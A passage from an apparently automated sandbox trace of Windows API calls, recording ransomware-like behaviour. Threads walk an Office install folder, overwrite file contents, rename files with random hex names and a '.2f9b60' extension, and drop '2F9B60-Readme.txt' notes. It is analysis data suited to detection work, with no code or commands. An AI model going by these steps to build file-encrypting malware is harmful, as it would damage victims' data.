returned 2 [0118.915] sprintf (in: _Dest=0x202aa516, _Format="%c%c" | out: _Dest="28") returned 2 [0118.915] sprintf (in: _Dest=0x202aa518, _Format="%c%c" | out: _Dest="82") returned 2 [0118.915] sprintf (in: _Dest=0x202aa51a, _Format="%c%c" | out: _Dest="1d") returned 2 [0118.915] sprintf (in: _Dest=0x202aa51c, _Format="%c%c" | out: _Dest="9e") returned 2 [0118.915] sprintf (in: _Dest=0x202aa51e, _Format="%c%c" | out: _Dest="aa") returned 2 [0118.915] sprintf (in: _Dest=0x202aa520, _Format="%c%c" | out: _Dest="b4") returned 2 [0118.915] sprintf (in: _Dest=0x202aa522, _Format="%c%c" | out: _Dest="9d") returned 2 [0118.915] RtlInitAnsiString (in: DestinationString=0x3cfbf928, SourceString="1644ff80e2ab971feb4aee28821d9eaab49d" | out: DestinationString="1644ff80e2ab971feb4aee28821d9eaab49d") [0118.915] RtlAnsiStringToUnicodeString (in: DestinationString=0x3cfbf8f8, SourceString="1644ff80e2ab971feb4aee28821d9eaab49d", AllocateDestinationString=1 | out: DestinationString="1644ff80e2ab971feb4aee28821d9eaab49d") returned 0x0 [0118.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1ced5680 [0118.916] RtlFreeAnsiString (AnsiString="1") [0118.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa500) returned 1 [0118.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0118.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0118.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169090) returned 1 [0118.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0118.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa9e0) returned 1 [0118.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4d0) returned 1 [0118.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7d0) returned 1 [0118.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa620) returned 1 [0118.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa6e0) returned 1 [0118.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa470) returned 1 [0118.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202af580 [0118.917] wcscat (in: _Dest=0x202af580, _Source="1644ff80e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1644ff80e") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1644ff80e" [0118.917] wcscat (in: _Dest=0x202af580, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1644ff80e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1644ff80e.2f9b60" [0118.917] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1644ff80e.2f9b60", NtPathName=0x3cfbf8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\1644ff80e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0118.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ac160 [0118.917] NtSetInformationFile (FileHandle=0x1764, IoStatusBlock=0x3cfbf970, FileInformation=0x202ac160, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0118.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac160) returned 1 [0118.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49ee0) returned 1 [0118.919] NtQueryInformationFile (in: FileHandle=0x1764, IoStatusBlock=0x3cfbf938, FileInformation=0x3cfbf948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3cfbf938, FileInformation=0x3cfbf948) returned 0x0 [0118.919] NtSetInformationFile (FileHandle=0x1764, IoStatusBlock=0x3cfbf938, FileInformation=0x3cfbf948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af580) returned 1 [0118.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5680) returned 1 [0118.920] FlushFileBuffers (hFile=0x1764) returned 1 [0119.604] CloseHandle (hObject=0x1764) returned 1 [0119.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202afa00 [0119.606] wcscpy (in: _Dest=0x202afa00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0119.606] wcscat (in: _Dest=0x202afa00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0119.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0xffffffff [0119.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1764 [0119.607] WriteFile (in: hFile=0x1764, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3cfbf7f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3cfbf7f0*=0xba9, lpOverlapped=0x0) returned 1 [0119.608] CloseHandle (hObject=0x1764) returned 1 [0119.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa00) returned 1 [0119.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85da90) returned 1 Thread: id = 1389 os_tid = 0x1808 [0118.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm")) returned 0x20 [0118.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM", dwFileAttributes=0x20) returned 1 [0118.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1758 [0118.870] GetFileSizeEx (in: hFile=0x1758, lpFileSize=0x295afb20 | out: lpFileSize=0x295afb20*=269) returned 1 [0118.870] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x109, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.870] ReadFile (in: hFile=0x1758, lpBuffer=0x295afaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x295afae8, lpOverlapped=0x0 | out: lpBuffer=0x295afaa0*, lpNumberOfBytesRead=0x295afae8*=0x4, lpOverlapped=0x0) returned 1 [0118.871] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0118.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa560 [0118.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa500 [0118.871] NtQuerySystemTime (in: CurrentTime=0x295af9e0 | out: CurrentTime=0x295af9e0*=132462177242926000) returned 0x0 [0118.871] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x7739a3b6 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x4e87b75f [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x4d730643 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x2f7057e3 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x7e771221 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x5f8a146 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x1c1cda95 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0xdf92d9 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x43d2443f [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x50e28fc4 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x49dc0405 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x66e618a3 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x20891ef1 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x5d2e9e49 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0xacaae03 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x52d6f95b [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x58139bf9 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x3b313780 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x6bdd4a2d [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x507e9f57 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x63994d26 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0xe591a9d [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x3f4dc9f3 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x7739a3b6 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x26fafd92 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x28843fe3 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x22196cd6 [0118.872] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x1ba0b960 [0118.873] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x7b566834 [0118.873] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0xf3db93a [0118.873] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x25dd5f2d [0118.873] RtlRandomEx (in: Seed=0x295af9d0 | out: Seed=0x295af9d0) returned 0x7dd59c90 [0118.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa290 [0118.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0118.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa500) returned 1 [0118.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0118.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0118.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0118.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20204990 [0118.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201db4e0 [0118.881] ReadFile (in: hFile=0x1758, lpBuffer=0x20204990, nNumberOfBytesToRead=0x10d, lpNumberOfBytesRead=0x295af9d0, lpOverlapped=0x0 | out: lpBuffer=0x20204990*, lpNumberOfBytesRead=0x295af9d0*=0x10d, lpOverlapped=0x0) returned 1 [0118.881] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.881] WriteFile (in: hFile=0x1758, lpBuffer=0x201db4e0*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x295af9d4, lpOverlapped=0x0 | out: lpBuffer=0x201db4e0*, lpNumberOfBytesWritten=0x295af9d4*=0x10d, lpOverlapped=0x0) returned 1 [0118.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa470 [0118.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6e0 [0118.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa6e0) returned 1 [0118.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201db4e0) returned 1 [0118.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20204990) returned 1 [0118.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6e0 [0118.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa620 [0118.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa620) returned 1 [0118.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa620 [0118.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7d0 [0118.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4d0 [0118.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4d0) returned 1 [0118.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x169090 [0118.923] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0118.923] WriteFile (in: hFile=0x1758, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x295afaf0, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x295afaf0*=0x104, lpOverlapped=0x0) returned 1 [0119.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0119.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0119.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0119.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0119.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0119.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0119.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa500 [0119.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa500) returned 1 [0119.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0119.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0119.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202aa500 [0119.158] sprintf (in: _Dest=0x202aa500, _Format="%c%c" | out: _Dest="7e") returned 2 [0119.158] sprintf (in: _Dest=0x202aa502, _Format="%c%c" | out: _Dest="9b") returned 2 [0119.158] sprintf (in: _Dest=0x202aa504, _Format="%c%c" | out: _Dest="5e") returned 2 [0119.158] sprintf (in: _Dest=0x202aa506, _Format="%c%c" | out: _Dest="2e") returned 2 [0119.158] sprintf (in: _Dest=0x202aa508, _Format="%c%c" | out: _Dest="b5") returned 2 [0119.158] sprintf (in: _Dest=0x202aa50a, _Format="%c%c" | out: _Dest="25") returned 2 [0119.158] sprintf (in: _Dest=0x202aa50c, _Format="%c%c" | out: _Dest="43") returned 2 [0119.158] sprintf (in: _Dest=0x202aa50e, _Format="%c%c" | out: _Dest="bf") returned 2 [0119.158] sprintf (in: _Dest=0x202aa510, _Format="%c%c" | out: _Dest="e0") returned 2 [0119.158] sprintf (in: _Dest=0x202aa512, _Format="%c%c" | out: _Dest="e8") returned 2 [0119.158] sprintf (in: _Dest=0x202aa514, _Format="%c%c" | out: _Dest="77") returned 2 [0119.158] sprintf (in: _Dest=0x202aa516, _Format="%c%c" | out: _Dest="1a") returned 2 [0119.158] sprintf (in: _Dest=0x202aa518, _Format="%c%c" | out: _Dest="2e") returned 2 [0119.158] sprintf (in: _Dest=0x202aa51a, _Format="%c%c" | out: _Dest="1a") returned 2 [0119.158] sprintf (in: _Dest=0x202aa51c, _Format="%c%c" | out: _Dest="4f") returned 2 [0119.158] sprintf (in: _Dest=0x202aa51e, _Format="%c%c" | out: _Dest="8d") returned 2 [0119.158] sprintf (in: _Dest=0x202aa520, _Format="%c%c" | out: _Dest="a0") returned 2 [0119.158] sprintf (in: _Dest=0x202aa522, _Format="%c%c" | out: _Dest="82") returned 2 [0119.158] RtlInitAnsiString (in: DestinationString=0x295afb68, SourceString="7e9b5e2eb52543bfe0e8771a2e1a4f8da082" | out: DestinationString="7e9b5e2eb52543bfe0e8771a2e1a4f8da082") [0119.159] RtlAnsiStringToUnicodeString (in: DestinationString=0x295afb38, SourceString="7e9b5e2eb52543bfe0e8771a2e1a4f8da082", AllocateDestinationString=1 | out: DestinationString="7e9b5e2eb52543bfe0e8771a2e1a4f8da082") returned 0x0 [0119.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1ced56e0 [0119.159] RtlFreeAnsiString (AnsiString="7") [0119.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa500) returned 1 [0119.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0119.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0119.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169090) returned 1 [0119.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa620) returned 1 [0119.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7d0) returned 1 [0119.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa6e0) returned 1 [0119.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa470) returned 1 [0119.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa560) returned 1 [0119.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa290) returned 1 [0119.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202afa00 [0119.160] wcscat (in: _Dest=0x202afa00, _Source="7e9b5e2eb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7e9b5e2eb") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7e9b5e2eb" [0119.160] wcscat (in: _Dest=0x202afa00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7e9b5e2eb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7e9b5e2eb.2f9b60" [0119.160] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7e9b5e2eb.2f9b60", NtPathName=0x295afb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\7e9b5e2eb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0119.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ac160 [0119.161] NtSetInformationFile (FileHandle=0x1758, IoStatusBlock=0x295afbb0, FileInformation=0x202ac160, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0119.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac160) returned 1 [0119.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293df0) returned 1 [0119.212] NtQueryInformationFile (in: FileHandle=0x1758, IoStatusBlock=0x295afb78, FileInformation=0x295afb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x295afb78, FileInformation=0x295afb88) returned 0x0 [0119.212] NtSetInformationFile (FileHandle=0x1758, IoStatusBlock=0x295afb78, FileInformation=0x295afb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0119.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa00) returned 1 [0119.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced56e0) returned 1 [0119.217] FlushFileBuffers (hFile=0x1758) returned 1 [0119.944] CloseHandle (hObject=0x1758) returned 1 [0122.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae9b0 [0122.153] wcscpy (in: _Dest=0x202ae9b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0122.153] wcscat (in: _Dest=0x202ae9b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0122.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0122.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae9b0) returned 1 [0122.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d590) returned 1 Thread: id = 1390 os_tid = 0x180c [0118.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202af580 [0118.931] wcscpy (in: _Dest=0x202af580, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" [0118.931] wcscat (in: _Dest=0x202af580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\" [0118.931] wcscat (in: _Dest=0x202af580, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*" [0118.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98340 [0118.931] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5680 [0118.931] wcscmp (_String1=".", _String2=".") returned 0 [0118.931] FindNextFileW (in: hFindFile=0x1ced5680, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.932] wcscmp (_String1="..", _String2=".") returned 1 [0118.932] wcscmp (_String1="..", _String2="..") returned 0 [0118.932] FindNextFileW (in: hFindFile=0x1ced5680, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0118.932] wcscmp (_String1="BIBFORM.XML", _String2=".") returned 1 [0118.932] wcscmp (_String1="BIBFORM.XML", _String2="..") returned 1 [0118.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ae4c0 [0118.932] wcscpy (in: _Dest=0x1b7ae4c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" [0118.932] wcscat (in: _Dest=0x1b7ae4c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\" [0118.932] wcscat (in: _Dest=0x1b7ae4c0, _Source="BIBFORM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" [0127.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ae4c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a4 [0127.022] FindNextFileW (in: hFindFile=0x1ced5680, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, 